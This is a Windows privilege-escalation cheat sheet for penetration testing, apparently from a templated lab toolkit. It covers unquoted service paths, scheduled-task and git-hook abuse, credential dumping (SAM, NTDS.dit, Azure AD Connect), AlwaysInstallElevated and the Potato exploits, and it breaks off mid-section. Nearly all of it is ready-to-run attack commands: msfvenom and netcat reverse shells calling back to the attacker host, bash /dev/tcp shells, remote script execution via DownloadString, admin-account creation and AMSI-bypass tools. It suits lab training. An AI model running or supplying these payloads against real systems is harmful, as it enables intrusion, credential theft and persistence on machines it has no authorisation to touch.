# msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o ~/privesc-toolkit/My.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/My.exe -Outfile "C:\Program Files\My.exe"
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/accesschk.exe {{WPATH}}\accesschk.exe - CMD
How It Works For unquoted path: C:\Program Files\My App\service.exe
Windows tries each space-split point in order:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
Goal: Find the first split point where the PARENT DIRECTORY is writable by you. Drop your payload there with the name Windows expects.
1. DETECT - find unquoted service paths
Find services with spaces and no quotes (the vulnerable pattern)
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\" | findstr /i /v """"
PowerShell filter - spaces but no quotes = unquoted path
Get-CimInstance -ClassName win32_service | Where-Object { $_.PathName -notmatch '"' -and $_.PathName -match ' ' } | Select Name,PathName,StartMode
2. CONFIRM - find which truncated path directory is writable
Example path: C:\Program Files\My App\service.exe - check each parent dir
icacls "C:\"
icacls "C:\Program Files\"
icacls "C:\Program Files\My App\"
# Look for (W) or (F) next to your user/group (e.g. BUILTIN\Users:(W))
PowerUp automation - finds AND confirms in one shot
. {{WPATH}}\PowerUp.ps1; Get-UnquotedService
Confirm service can be restarted by you
sc.exe qc <ServiceName>
# START_TYPE: AUTO_START = restarts on reboot even if you can't restart now
KALI - prepare payload
Option A: adduser binary - name it exactly what Windows will try to load
cat > /tmp/adduser.c << 'EOF'
#include <stdlib.h>
int main() {
    system("net user pwned Password123! /add");
    system("net localgroup Administrators pwned /add");
    return 0;
}
EOF
# For "C:\Program Files\My.exe" → name it My.exe:
x86_64-w64-mingw32-gcc /tmp/adduser.c -o ~/privesc-toolkit/My.exe
Option B: msfvenom reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o ~/privesc-toolkit/My.exe
BACKUP - note the drop location (nothing to backup - you're adding a new file)
Record what you're placing (for cleanup reference)
# Confirm nothing already exists at the drop location before you overwrite it:
dir "C:\Program Files\My.exe"
# If something IS there - back it up first:
copy "C:\Program Files\My.exe" "C:\Program Files\My.exe.bak"
3. EXPLOIT - drop payload at the truncated path
Transfer and drop at the writable truncated path location
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/My.exe -Outfile {{WPATH}}\My.exe
copy {{WPATH}}\My.exe "C:\Program Files\My.exe"
Trigger service restart
Restart-Service -Name '<ServiceName>' -Force
# OR:
sc.exe stop <ServiceName>; sc.exe start <ServiceName>
# OR wait for reboot if AUTO_START
4. VERIFY - confirm escalation
net user pwned
net localgroup Administrators
whoami
RESTORE - remove dropped payload
Stop service and delete the payload file you placed
sc.exe stop <ServiceName>
del "C:\Program Files\My.exe"
# If backup existed:
copy "C:\Program Files\My.exe.bak" "C:\Program Files\My.exe"
sc.exe start <ServiceName>
Cleanup user
net user pwned /delete
📝 Notes
7.8
Scheduled Task Abuse
Find tasks running as SYSTEM with writable executables
PRIVESC
✎ Fill varbar before using commands below: Set TASKBIN = full path to the scheduled task executable you discovered (e.g. C:\Tasks\CleanUp.exe). All commands in this section auto-update.
1. DETECT - find tasks running as SYSTEM with writable executables
List all enabled scheduled tasks with run-as context
schtasks /query /fo LIST /v | findstr /i "Task Name\|Run As User\|Task To Run\|Status"
PowerShell - filter for SYSTEM tasks only
Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | Get-ScheduledTaskInfo | Select TaskName,LastRunTime,NextRunTime
When does it next run? Know this before waiting
schtasks /query /tn "<TaskName>" /fo LIST /v | findstr /i "Next Run\|Schedule\|Repeat"
2. CONFIRM - verify write access to the task's executable
Check icacls on the task executable - you need (W) or (F)
icacls "{{TASKBIN}}"
accesschk confirmation
{{WPATH}}\accesschk.exe -uwcqv "Users" "{{TASKBIN}}" /accepteula
{{WPATH}}\accesschk.exe -uwcqv "Authenticated Users" "{{TASKBIN}}" /accepteula
Verify task runs as SYSTEM (or high-priv user)
schtasks /query /tn "<TaskName>" /fo LIST /v | findstr /i "Run As"
KALI - prepare payload
Option A: adduser binary
cat > /tmp/adduser.c << 'EOF'
#include <stdlib.h>
int main() {
    system("net user pwned Password123! /add");
    system("net localgroup Administrators pwned /add");
    return 0;
}
EOF
x86_64-w64-mingw32-gcc /tmp/adduser.c -o ~/privesc-toolkit/shell.exe
Option B: reverse shell (nc -lvnp {{RPORT}} on Kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f exe -o ~/privesc-toolkit/shell.exe
BACKUP - save original task executable
Always back up before overwriting
copy "{{TASKBIN}}" "{{TASKBIN}}.bak"
dir "{{TASKBIN}}.bak"
3. EXPLOIT - replace executable and wait/force trigger
Transfer payload and replace task binary
iwr -Uri http://{{KALI_IP}}:{{PORT}}/windows/shell.exe -Outfile {{WPATH}}\shell.exe
copy {{WPATH}}\shell.exe "{{TASKBIN}}"
Trigger: force run the task now (requires task write perms)
schtasks /run /tn "<TaskName>"
# OR: wait for the scheduled next-run time
# OR: reboot if task triggers on startup
4. VERIFY - confirm escalation
net user pwned
net localgroup Administrators
whoami
RESTORE - put original executable back
Restore from backup
copy "{{TASKBIN}}.bak" "{{TASKBIN}}"
del "{{TASKBIN}}.bak"
# Verify task still works:
schtasks /query /tn "<TaskName>" /fo LIST /v
Cleanup user
net user pwned /delete
Git Hook Injection (Craft-style) - Windows & Linux
⚠️ Seen on: Craft (PG Practice) A git repository is configured with hooks. When an admin/root user commits (manually or via scheduled task), the hook script runs as that user. If the hooks directory is writable, inject your payload.
Step 1: Find git repositories and check hook directory permissions
# Windows:
dir /s /b .git 2>nul
Get-ChildItem -Path C:\ -Filter ".git" -Recurse -ErrorAction SilentlyContinue -Force | Select FullName
icacls "{{SVCDIR}}\.git\hooks"

# Linux:
find / -name ".git" -type d 2>/dev/null
ls -la /path/to/repo/.git/hooks/
# Look for (W) write permission for your user/group
Step 2 (Windows): Create malicious post-commit hook (runs on every git commit)
@echo off
REM Save as: {{SVCDIR}}\.git\hooks\post-commit
REM No extension needed - must be executable
cmd /c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe"
Write hook from PowerShell (no echo quoting issues)
$hook = "@echo off`r`ncmd /c `"{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe`""
$hook | Out-File -FilePath "{{SVCDIR}}\.git\hooks\post-commit" -Encoding ASCII
# Verify:
Get-Content "{{SVCDIR}}\.git\hooks\post-commit"
Step 2 (Linux): Create malicious post-commit hook
echo '#!/bin/bash' > /path/to/repo/.git/hooks/post-commit
echo 'bash -i >& /dev/tcp/{{KALI_IP}}/{{RPORT}} 0>&1' >> /path/to/repo/.git/hooks/post-commit
chmod +x /path/to/repo/.git/hooks/post-commit
Step 3: Trigger - check if scheduled task or admin commits (KALI: nc -lvnp {{RPORT}})
# Check if a scheduled task runs git operations:
schtasks /query /fo LIST /v | findstr /i "git\|commit\|Task Name"
Get-ScheduledTask | Where-Object { ($_.Actions | ForEach-Object {"$($_.Execute) $($_.Arguments)"}) -match "git" } | Select TaskName

# If you have repo access - trigger manually:
cd {{SVCDIR}}
echo test >> trigger.txt
git add trigger.txt
git commit -m "trigger"  # post-commit hook fires immediately
RESTORE - remove hook after exploit
del "{{SVCDIR}}\.git\hooks\post-commit" 2>nul
rm /path/to/repo/.git/hooks/post-commit 2>/dev/null
📝 Notes
7.9
Internal Services & Ports
127.0.0.1 listeners = internal services - investigate for privilege escalation
ENUM
Address Types 0.0.0.0 = all interfaces (externally visible) | 127.0.0.1 = local only - INVESTIGATE | 192.168.x.x = LAN only - INVESTIGATE
Active connections - look for 127.0.0.1 listeners
netstat -ano
netstat -ano | findstr LISTEN
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'} | Select LocalAddress,LocalPort,OwningProcess | Sort LocalPort
netstat -bno - shows process name (requires admin)
Probe Internal HTTP Services (Nickel-style)
⚠️ Critical Next Step: After finding a 127.0.0.1 listener → immediately probe it. If the service runs as SYSTEM and has command injection → instant SYSTEM shell without any privesc tool needed.
Step 1: Identify the port and probe if it's HTTP
netstat -ano | findstr "127.0.0.1"
# Find the PORT, then:
curl -s -k http://127.0.0.1:PORT/
curl -s -k https://127.0.0.1:PORT/
Step 2: Probe common admin endpoints
curl -s -k http://127.0.0.1:PORT/admin
curl -s -k http://127.0.0.1:PORT/management
curl -s -k http://127.0.0.1:PORT/api/
curl -s -k http://127.0.0.1:PORT/api/v1/
curl -s -k http://127.0.0.1:PORT/console
Step 3: Test for command injection (common in custom admin tools)
curl -s -k "http://127.0.0.1:PORT/execute?cmd=whoami"
curl -s -k "http://127.0.0.1:PORT/api/exec?command=whoami"
curl -s -k "http://127.0.0.1:PORT/run?cmd=ipconfig"
curl -s -k -X POST http://127.0.0.1:PORT/api/execute -d "cmd=whoami"
Step 4: Once injection confirmed - get shell
# Add admin user (URL-encoded spaces = %20):
curl -s -k "http://127.0.0.1:PORT/run?cmd=net%20user%20pwned%20Pass123!%20/add"
curl -s -k "http://127.0.0.1:PORT/run?cmd=net%20localgroup%20Administrators%20pwned%20/add"

# Or reverse shell:
curl -s -k "http://127.0.0.1:PORT/run?cmd={{WPATH}}\\nc64.exe%20{{KALI_IP}}%20{{RPORT}}%20-e%20cmd.exe"
PowerShell alternative (if curl not available)
Invoke-WebRequest -Uri "http://127.0.0.1:PORT/admin" -UseBasicParsing
(Invoke-WebRequest -Uri "http://127.0.0.1:PORT/run?cmd=whoami" -UseBasicParsing).Content
Invoke-RestMethod -Uri "http://127.0.0.1:PORT/api/execute" -Method Post -Body "cmd=whoami"
📝 Notes
7.10
Cleartext Credential Hunting
Search files, registry, and config files for plaintext passwords
CREDSENUM
Think Simpler - Check These First 1. PS History (§7.3) → 2. Autologon registry → 3. Unattend.xml → 4. Web configs → 5. VNC configs → 6. cmdkey /list
File Searches
Search text files for "password"
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
findstr /spin "password" *.*
Config file names with password/cred
dir /s /b *pass* 2>nul & dir /s /b *cred* 2>nul & dir /s /b *vnc* 2>nul & dir /s /b *.config* 2>nul
# Note: dir does NOT support == as pattern separator - use separate commands or a for loop:
for %f in (*pass* *cred* *vnc* *.config*) do @dir /s /b "%f" 2>nul
Get-ChildItem -Path C:\ -Include *.config,*.xml,*.ini,*.txt -File -Recurse -Depth 4 -ErrorAction SilentlyContinue | Select-String -Pattern 'password|pwd|credential|connectionstring' -SimpleMatch
Unattended install files - classic goldmine
type c:\sysprep.inf 2>nul
type c:\sysprep\sysprep.xml 2>nul
type c:\unattend.xml 2>nul
type %WINDIR%\Panther\Unattend\Unattended.xml 2>nul
type %WINDIR%\Panther\Unattended.xml 2>nul
dir C:\ /s /b | findstr /i unattend
Registry Searches
Registry Autologon - stored plaintext password
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword 2>nul
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName 2>nul
PuTTY saved sessions (may contain proxy passwords)
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
VNC password files
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /i "vnc.ini"
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
WiFi passwords in cleartext
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear
for /f "tokens=2 delims=:" %a in ('netsh wlan show profiles ^| findstr Profile') do @netsh wlan show profile %a key=clear 2>nul | findstr Key
Windows Credential Manager saved credentials
cmdkey /list
vaultcmd /listcreds:"Windows Credentials"
IIS web.config database connection strings
type C:\inetpub\wwwroot\web.config 2>nul | findstr /i "connectionString password pwd"
AzureAD Connect - Recover AD Sync Credentials (Monteverde)
⚠️ Seen on: Monteverde (HTB) Azure AD Connect stores the AD sync account credentials in an encrypted MSSQL database on the sync server. Can be decrypted from the SYSTEM context.
Detect if Azure AD Connect is installed
Get-Service -Name ADSync 2>$null
dir "C:\Program Files\Microsoft Azure AD Sync\" 2>$null
Extract credentials using PowerShell (run as local admin)
$db = 'Server=127.0.0.1;Database=ADSync;Trusted_Connection=True'
$conn = New-Object System.Data.SqlClient.SqlConnection($db)
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read()
$keyset_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetString(2)
$reader.Close()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type='AD'"
$reader = $cmd.ExecuteReader()
$reader.Read()
# Decrypt with mcrypt.dll
Add-Type -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"
[Microsoft.IdentityManagement.PowerShell.ObjectModel.Mcrypt]::DecryptData($reader.GetString(1),$entropy)
Alternative - adconnectdump (easier)
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/adconnectdump.ps1 -Outfile {{WPATH}}\adconnectdump.ps1
. {{WPATH}}\adconnectdump.ps1
📝 Notes
7.11
SAM / Shadow Copy / NTDS.dit / SECURITY
Dump and crack password hashes. Works with SeBackupPrivilege too.
CREDSPRIVESC
Key Files SAM = local password hashes | SYSTEM = decryption key | NTDS.dit = ALL domain hashes (on DC) | SECURITY = LSA secrets + cached creds | NTUSER.dat = user-specific registry
1. DETECT - confirm prerequisites before dumping
Check if you have SeBackupPrivilege (admin or backup operator)
whoami /priv | findstr /i "SeBackup"
# SeBackupPrivilege  Enabled  = dump SAM directly
# SeBackupPrivilege  Disabled = STILL exploitable - re-enable with EnableAllTokenPrivs.ps1 first
Check if Windows.old exists (no admin needed)
dir C:\windows.old\Windows\System32\SAM 2>nul
dir C:\windows.old\Windows\System32\SYSTEM 2>nul
Check for existing shadow copies
vssadmin list shadows
wmic shadowcopy list brief
Confirm you are admin (reg save requires admin or SeBackup)
net localgroup Administrators
whoami /groups | findstr /i "S-1-5-32-544"
Dump SAM + SYSTEM (requires Admin/SeBackup)
reg save hklm\sam {{WPATH}}\sam
reg save hklm\system {{WPATH}}\system
Also dump SECURITY for LSA secrets
reg save hklm\security {{WPATH}}\security
Extract hashes on Kali
impacket-secretsdump -sam sam -system system LOCAL
impacket-secretsdump -security security -system system LOCAL
samdump2 system sam
Optional: Mimikatz if files can't be transferred
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -Outfile {{WPATH}}\mimikatz.exe
mimikatz.exe "privilege::debug" "lsadump::sam /sam:\"{{WPATH}}\sam\" /system:\"{{WPATH}}\system\"" exit
Windows.old / Volume Shadow Copies
Check for Windows.old folder
dir C:\windows.old\Windows\System32\SAM 2>nul
dir C:\windows.old\Windows\System32\SYSTEM 2>nul
List shadow copies
vssadmin list shadows
Copy file from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\SAM {{WPATH}}\SAM
NTDS.dit (Domain Controller)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit {{WPATH}}\ntds.dit.bak
reg save hklm\system {{WPATH}}\system.bak
Extract ALL domain hashes on Kali
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
NTUSER.dat (user-specific registry)
reg load hku\TempHive C:\Users\<username>\NTUSER.dat
📝 Notes
7.12
AlwaysInstallElevated (MSI Escalation)
If BOTH registry keys = 1, any user can install MSI as SYSTEM
PRIVESC
1. DETECT - check BOTH registry keys (both must be 0x1)
Check HKLM key (set by admin)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
Check HKCU key (set by user)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
If BOTH return 0x1 → vulnerable. Autocheck with PowerUp:
. {{WPATH}}\PowerUp.ps1; Get-RegistryAlwaysInstallElevated
KALI - generate MSI payload
Option A: Reverse shell MSI (nc -lvnp {{RPORT}} on Kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f msi -o ~/privesc-toolkit/evil.msi
Option B: Add admin user MSI
msfvenom -p windows/x64/exec CMD='net user pwned Password123! /add && net localgroup Administrators pwned /add' -f msi -o ~/privesc-toolkit/evil.msi
2. EXPLOIT - transfer and install MSI as SYSTEM
Download and silently install (runs as SYSTEM due to policy)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/evil.msi -Outfile {{WPATH}}\evil.msi
msiexec /qn /i {{WPATH}}\evil.msi
3. VERIFY - confirm escalation
net user pwned
net localgroup Administrators
whoami
RESTORE - cleanup MSI and created user
Remove the MSI file and clean up created user
del {{WPATH}}\evil.msi
net user pwned /delete
Disable the policy (if you have admin access now)
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
📝 Notes
7.13
Automated Enumeration Scripts
Run at the start of every engagement - saves hours of manual work
ENUM
winPEAS
Enum • Most Comprehensive
Best Windows privesc enumeration tool. Shows colors, categories, and prioritizes findings.
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe -Outfile {{WPATH}}\winPEAS.exe
{{WPATH}}\winPEAS.exe
# Save output:
{{WPATH}}\winPEAS.exe | tee {{WPATH}}\winpeas_output.txt
{{WPATH}}\winPEAS.bat
Use .bat when PowerShell is restricted (CLM)
PowerUp.ps1
Privesc • PowerShell
PS privesc finder - services, paths, registry, misconfigs.
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PowerUp.ps1 -Outfile {{WPATH}}\PowerUp.ps1
powershell -ep bypass
. {{WPATH}}\PowerUp.ps1
Invoke-AllChecks
Get-ModifiableServiceFile
Get-UnquotedService
SharpUp.exe
Privesc • C# (CLM bypass)
C# privesc checker - works when PS is restricted. Same checks as PowerUp.
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SharpUp.exe -Outfile {{WPATH}}\SharpUp.exe
{{WPATH}}\SharpUp.exe audit
Seatbelt.exe
Survey • Host Recon
Comprehensive host survey - security checks, cred files, browser data.
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/Seatbelt.exe -Outfile {{WPATH}}\Seatbelt.exe
{{WPATH}}\Seatbelt.exe -group=system
{{WPATH}}\Seatbelt.exe -group=user
{{WPATH}}\Seatbelt.exe -group=misc
{{WPATH}}\Seatbelt.exe AMSIProviders
PrivescCheck.ps1
Privesc • PS
Comprehensive PS privesc check - more thorough than PowerUp. Must be dot-sourced then called.
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/PrivescCheck.ps1 -Outfile {{WPATH}}\PrivescCheck.ps1
# Correct usage - dot-source THEN call the function:
. {{WPATH}}\PrivescCheck.ps1; Invoke-PrivescCheck -Extended
. {{WPATH}}\PrivescCheck.ps1; Invoke-PrivescCheck -Extended | Out-File {{WPATH}}\privesccheck_output.txt
❌ Wrong: Running PrivescCheck.ps1 -Extended directly does nothing - it's not a standalone script. Always dot-source first. In CLM → use winPEAS.bat or Seatbelt.exe instead.
PowerSharpPack
C# in PS • AMSI Bypass
C# tools wrapped in PS - bypasses AMSI, CLM, Script Block logging. Use -Command to pass args.
iex (New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/scripts/PowerSharpPack.ps1')
# Enum / Privesc
PowerSharpPack -winPEAS
PowerSharpPack -SharpUp
PowerSharpPack -seatbelt -Command "AMSIProviders"
PowerSharpPack -Watson
# AD / Kerberos
PowerSharpPack -Rubeus -Command "kerberoast /outFile:Roasted.txt"
PowerSharpPack -SharpView -Command "Get-Domain"
PowerSharpPack -Grouper2
# Credentials / Browser
PowerSharpPack -InternalMonologue
PowerSharpPack -SharpWeb
PowerSharpPack -SharpChromium
PowerSharpPack -SharpCloud
# Persistence / Lateral
PowerSharpPack -SharPersist -Command "Persist"
PowerSharpPack -UrbanBishop
# Recon
PowerSharpPack -SharpShares
PowerSharpPack -SharpSniper
PowerSharpPack -SauronEye
PowerSharpPack -SharpSpray
PowerSharpPack -SharpGPOAbuse
Multi-param tip: PowerSharpPack -Rubeus -Command "kerberoast /outfile:r.txt /domain:{{DOMAIN}}" - enclose multiple params in quotes.
Watson
Missing KBs • Kernel Exploits
Enumerate missing patches and suggest kernel exploits.
PowerSharpPack -Watson
WES-NG (Kali)
Offline Exploit Suggester
Run systeminfo on target, save to file, analyze on Kali offline.
# On target: systeminfo > systeminfo.txt (then bring to Kali)
# On Kali:
python3 wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only
PowerCat
Netcat in PS
PowerShell netcat - reverse shells, file transfers, port scanning.
iex (New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/scripts/powercat.ps1')
powercat -c {{KALI_IP}} -p {{RPORT}} -e powershell.exe
Sherlock.ps1
Missing Patches • Old Systems
Find missing patches that allow privilege escalation on older Windows. Dot-source then call.
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/Sherlock.ps1 -Outfile {{WPATH}}\Sherlock.ps1
. {{WPATH}}\Sherlock.ps1; Find-AllVulns
CLM fallback: Use Watson (via PowerSharpPack) or WES-NG offline instead.
jaws-enum.ps1
Enum • Older Engagements
Simple PowerShell enumeration script. Dot-source and call, or pipe output to file.
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/jaws-enum.ps1 -Outfile {{WPATH}}\jaws-enum.ps1
powershell.exe -ep bypass -exec bypass -File {{WPATH}}\jaws-enum.ps1 -OutputFilename {{WPATH}}\jaws-output.txt
CLM fallback: Use winPEAS.bat or Seatbelt.exe instead.
📝 Notes
7.14
Potato Family (SeImpersonate / SeAssignPrimaryToken)
Requires SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege - check whoami /priv
PRIVESCEXPLOIT
TRANSFER - download potato tools to target (pick based on OS from compat table below)
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET4.exe -Outfile {{WPATH}}\GodPotato-NET4.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/PrintSpoofer64.exe -Outfile {{WPATH}}\PrintSpoofer64.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SweetPotato.exe -Outfile {{WPATH}}\SweetPotato.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/SigmaPotato.exe -Outfile {{WPATH}}\SigmaPotato.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/JuicyPotato.exe -Outfile {{WPATH}}\JuicyPotato.exe
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile {{WPATH}}\nc64.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/GodPotato-NET4.exe {{WPATH}}\GodPotato-NET4.exe - CMD
JuicyPotato WARNING JuicyPotato DOES NOT work on Windows Server 2019 and Windows 10 build 1809+. Use GodPotato first - it works on everything from Win Vista to Win11.
Quick Decision GodPotato → PrintSpoofer → SweetPotato → SigmaPotato → RoguePotato → JuicyPotato (only if pre-2019)

IIS / MSSQL tip: Any shell as iis apppool\* or NT SERVICE\MSSQLSERVER has SeImpersonatePrivilege by default. Check whoami /priv immediately - skip enumeration and go straight to GodPotato.
1. DETECT - confirm SeImpersonate is present AND Enabled
Check privilege - Enabled OR Disabled, both can be exploited
whoami /priv | findstr /i "SeImpersonate\|SeAssignPrimaryToken"
# SeImpersonatePrivilege   Enabled  = directly exploitable
# SeImpersonatePrivilege   Disabled = STILL exploitable - run FullPowers.exe first to re-enable
{{WPATH}}\FullPowers.exe -c "{{WPATH}}\GodPotato-NET4.exe -cmd whoami" -z
# ⚠️ Do NOT skip potatoes just because the privilege shows Disabled!
Check OS build - determines which potato to use
systeminfo | findstr /i /c:"OS Name" /c:"OS Version" /c:"Build"
# Build 17763+ (Server 2019 / Win10 1809+) = JuicyPotato FAILS → use GodPotato
PowerShell alternative
[System.Environment]::OSVersion.Version
(Get-WmiObject Win32_OperatingSystem).BuildNumber
PotatoWindows 7/8Server 2012/16Win10 / Server 2019Win11 / Server 2022
GodPotatoYESYESYESYES
PrintSpooferNOYESYESYES
SweetPotatoNOYESYES?
SigmaPotatoYES (8+)YESYESYES
RoguePotatoNONOYESYES
JuicyPotatoYESYESNO (1809+)NO
HotPotatoYESlimitedNONO
DCOMPotatoYESYESYES?
RottenPotatoYESYESNO (1809+)NO
⭐ GodPotato - Try This First (Universal)
Normal command
{{WPATH}}\GodPotato-NET4.exe -cmd "cmd /c whoami"
Reverse shell
{{WPATH}}\GodPotato-NET4.exe -cmd "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
Add admin user
{{WPATH}}\GodPotato-NET4.exe -cmd "net user emma Password123 /add"
{{WPATH}}\GodPotato-NET4.exe -cmd "net localgroup Administrators emma /add"
PrintSpoofer (Win10 / Server 2016-2019)
{{WPATH}}\PrintSpoofer64.exe -c whoami
{{WPATH}}\PrintSpoofer64.exe -c "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
{{WPATH}}\PrintSpoofer64.exe -c "net user emma Password123 /add" && {{WPATH}}\PrintSpoofer64.exe -c "net localgroup Administrators emma /add"
⚠️ Print Spooler MUST be running: sc query spooler

Decision Tree:
  • If STATE: RUNNING → PrintSpoofer works ✓
  • If STATE: STOPPED → try sc start spooler (may need admin)
  • If Spooler disabled/can't start → skip PrintSpoofer → use GodPotato or SigmaPotato instead (they don't need Print Spooler)
SweetPotato (Win10 / Server 2016+)
{{WPATH}}\SweetPotato.exe -a whoami
{{WPATH}}\SweetPotato.exe -a "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
{{WPATH}}\SweetPotato.exe -a "net user emma Password123 /add" && {{WPATH}}\SweetPotato.exe -a "net localgroup Administrators emma /add"
SigmaPotato (Win8-11 / Server 2012-2022)
{{WPATH}}\SigmaPotato.exe cmd.exe /c whoami
{{WPATH}}\SigmaPotato.exe --revshell {{KALI_IP}} {{RPORT}}
{{WPATH}}\SigmaPotato.exe cmd.exe /c "net user emma Password123 /add"
JuicyPotato (Server 2012-2016 ONLY - NOT 2019+)
DO NOT use on Server 2019 or Win10 1809+ - use GodPotato instead
{{WPATH}}\JuicyPotato.exe -l 1337 -c {4991d34b-80a1-4291-83b6-3328366b9097} -t * -p c:\windows\system32\cmd.exe
{{WPATH}}\JuicyPotato.exe -l 1337 -c {CLSID} -t * -p "{{WPATH}}\nc64.exe" -a "-e cmd.exe {{KALI_IP}} {{RPORT}}"
Add admin user via JuicyPotato
{{WPATH}}\JuicyPotato.exe -l 1337 -c {4991d34b-80a1-4291-83b6-3328366b9097} -t * -p cmd.exe -a "/c net user pwned Password123! /add && net localgroup Administrators pwned /add"
⚠️ CLSID varies by OS - if one fails, try the next:
CLSIDWorks On
{4991d34b-80a1-4291-83b6-3328366b9097}Server 2016, Win10 (BITS)
{6d8ff8d8-7941-43d3-ad90-f89200e27897}Server 2012 R2
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}Server 2012, Win8
{e60687f7-01a1-40aa-86ac-db1cbf673334}Server 2008 R2
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}Server 2008
{03ca98d6-ff5d-49b8-abc6-03dd84127020}Win7 SP1
Full CLSID list: https://ohpe.it/juicy-potato/CLSID/ - try multiple if first fails
RoguePotato POST-1809 (Win10 1809+ / Server 2019+)
⚠️ Requires Kali socat relay JuicyPotato fails on Server 2019+. RoguePotato needs you to relay OXID resolution through your Kali machine on port 135.
KALI FIRST - set up socat relay (port 135)
socat tcp-listen:135,reuseaddr,fork tcp:{{TARGET}}:9999
TRANSFER to target
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/RoguePotato.exe {{WPATH}}\rp.exe
ADD ADMIN user
{{WPATH}}\rp.exe -r {{KALI_IP}} -e "cmd /c net user pwned Password123! /add && net localgroup Administrators pwned /add" -l 9999
REV SHELL
{{WPATH}}\rp.exe -r {{KALI_IP}} -e "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe" -l 9999
SharpEfsPotato - EFS RPC Abuse (patched systems)
💡 Works on many fully-patched systems - abuses the EFS RPC interface, no DCOM/OXID relay needed.
TRANSFER
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/SharpEfsPotato.exe {{WPATH}}\sep.exe
ADD ADMIN
{{WPATH}}\sep.exe "cmd /c net user pwned Password123! /add && net localgroup Administrators pwned /add"
REV SHELL
{{WPATH}}\sep.exe "cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe"
EfsPotato COMPILE ON TARGET - Source-only, needs csc.exe
⚠️ Source code only - Transfer the .cs source and compile on the target using the built-in .NET compiler. Requires .NET Framework 4.x on target.
TRANSFER .cs source
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/EfsPotato.cs {{WPATH}}\EfsPotato.cs
COMPILE with csc.exe (no external deps)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:{{WPATH}}\ep.exe {{WPATH}}\EfsPotato.cs -nowarn:1691,618
ADD ADMIN
{{WPATH}}\ep.exe "cmd /c net user pwned Password123! /add && net localgroup Administrators pwned /add"
REV SHELL
